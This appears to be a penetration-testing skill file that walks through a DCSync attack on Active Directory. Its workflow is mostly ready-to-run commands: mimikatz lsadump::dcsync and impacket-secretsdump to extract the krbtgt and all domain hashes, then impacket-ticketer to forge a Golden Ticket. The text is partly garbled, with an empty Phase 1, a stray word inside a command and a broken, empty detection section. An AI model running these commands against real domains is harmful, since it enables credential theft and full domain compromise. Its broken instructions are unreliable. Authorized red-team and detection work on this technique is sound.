ad-dcsync-attack

name	ad-dcsync-attack
description	Exploit Active Directory replication privileges (DS-Replication-Get-Changes) to perform a DCSync attack, allowing an attacker to impersonate a Domain Controller and extract password hashes (like the krbtgt hash for Golden Tickets) without code execution on a DC.
domain	cybersecurity
subdomain	penetration-testing
category	Active Directory
difficulty	advanced
estimated_time	2-4 hours
mitre_attack	{"tactics":["TA0006"],"techniques":["T1003.006"]}
platforms	["windows","active-directory"]
tags	["dcsync","active-directory","mimikatz","credential-dumping","red-teaming","privilege-escalation"]
tools	["mimikatz","impacket-secretsdump","bloodhound"]
version	1.0
author	CyberSkills-Elite
license	Apache-2.0

Active Directory DCSync Attack

When to Use

• When an attacker has compromised an account or group with the highly privileged DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights (often Domain Admins or maliciously delegated accounts).
• To stealthily extract NTLM hashes (including the krbtgt account hash) directly from Active Directory over the network, avoiding the need to execute code or drop malware directly on a Domain Controller.

Prerequisites

• Authorized scope and rules of engagement for the target environment
• Appropriate tools installed on the attack/analysis platform
• Understanding of the target technology stack and architecture
• Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying the Target (krbtgt) and Access Rights

# ```

### Phase 2: Execution via Mimikatz (Windows)

```text
# privilege::debug
lsadump::dcsync /domain:lab.local /user:krbtgt

# lsadump::dcsync /domain:lab.local /all /csv

Phase 3: Execution via Impacket (Linux/Network)

# impacket-secretsdump -just-dc-user krbtgt lab.local/administrator:Password123@10.10.10.10

# beautifully impacket-secretsdump lab.local/administrator:Password123@10.10.10.10

Phase 4: Utilizing the Material (Golden Ticket)

# impacket-ticketer -nthash <KRBTGT_NTLM_HASH> -domain-sid <DOMAIN_SID> -domain lab.local Administrator

Decision Point 🔀

flowchart TD
    A[Identify Rights ] --> B{Possess Rights ]}
    B -->|Yes| C[Execute DCSync ]
    B -->|No| D[Escalate Privileges ]
    C --> E[Extract Hashes ]

🔵 Blue Team Detection & Defense

• Monitor Directory Replication events: Review ACLs for Replication Rights (BloodHound / ADAC): Network Segmentation & Monitoring: Key Concepts | Concept | Description | |---------|-------------|

Output Format

Ad Dcsync Attack — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• AdSecurity: Mimikatz DCSync Usage, Exploitation, and Detection
• HackTricks: DCSync